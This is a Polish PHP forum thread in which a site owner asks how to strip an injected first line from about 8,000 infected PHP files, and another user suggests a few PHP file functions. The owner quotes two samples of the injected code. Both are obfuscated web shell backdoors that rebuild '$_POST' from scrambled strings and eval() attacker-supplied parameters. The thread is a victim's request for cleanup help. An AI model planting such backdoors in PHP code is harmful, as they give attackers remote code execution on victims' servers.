Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Masowe usunięcie pierwszej lini w pliku PHP - możliwe?
emantuch
post
Post #1





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Witam, opadłem dzis z sił dlatego piszę tutaj,

oczywiście jeden z popularnych hostingów Polskich ma nawał wirusów i też padłem ofiarą.

Mam tysiące zainfekowanych plików, wtym tych potrzebnych do życia moim stronom .
Infekcja objawia się na dopisaniu do plików do 1 linii zaraz po <?php kawałka kodu.
Jak na złość każdy jest inny, i nie mogę go zrobić przez SSH, ponieważ wyszuka mi jeden plik.

Pomyślałem że może napisać skrypt który otworzył by wszystkie pliki (listę plików mam w pliku txt)
i zamieniłby pierwszą linię kody <?php <kod wirusa>
na samo <?php


Tylko za cholere niestety nie wiem jak się do tego zabrać, pomoże "któś cuś" ?
Bo na ten moment wiążę już sobie pętle...
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
kapslokk
post
Post #2





Grupa: Zarejestrowani
Postów: 965
Pomógł: 285
Dołączył: 19.06.2015
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć
file_put_contents zeby zapisać plik

W razie problemów pisz.

Ten post edytował kapslokk 11.03.2016, 18:50:25
Go to the top of the page
+Quote Post
emantuch
post
Post #3





Grupa: Zarejestrowani
Postów: 22
Pomógł: 1
Dołączył: 23.09.2015

Ostrzeżenie: (0%)
-----


Cytat(kapslokk @ 11.03.2016, 18:50:10 ) *
file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć
file_put_contents zeby zapisać plik

W razie problemów pisz.



Ta tylko wyrażenie regularne w tym przypadku to jeszcze większa kombinacja..

jest zainfekowanych 8 tysięcy plików.

1 jednym pliku jest tak:
$kcqw0 = "posetru_"; $zcvk82=$kcqw0[2]. $kcqw0[4]. $kcqw0[5]. $kcqw0[4]. $kcqw0[1].$kcqw0[6].$kcqw0[0]. $kcqw0[0]. $kcqw0[3].$kcqw0[5];$yzz8 =$zcvk82 ( $kcqw0[7]. $kcqw0[0].$kcqw0[1].$kcqw0[2]. $kcqw0[4]) ;if( isset (${$yzz8 } ['qe91e7a'] ) ){eval (${$yzz8} ['qe91e7a' ] ) ; }?>

w 2 pliku jest tak:
<?php $npwu79 ="_tpos";$esz7 =strtoupper ($npwu79[0]. $npwu79[2] . $npwu79[3]. $npwu79[4].$npwu79[1]);if ( isset(${ $esz7 }[ 'qd335c3'] ) ){eval(${$esz7 }['qd335c3' ] );}?>

W każdym praktycznie inaczej, wydaje mi się że wyrażenie do tego jest ciężkie do stworzenia dlatego pomyślałem że podmianka 1 lini byłaby najlepsza ... /najłatwiejsza
Go to the top of the page
+Quote Post

Posty w temacie


Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 4.10.2025 - 18:40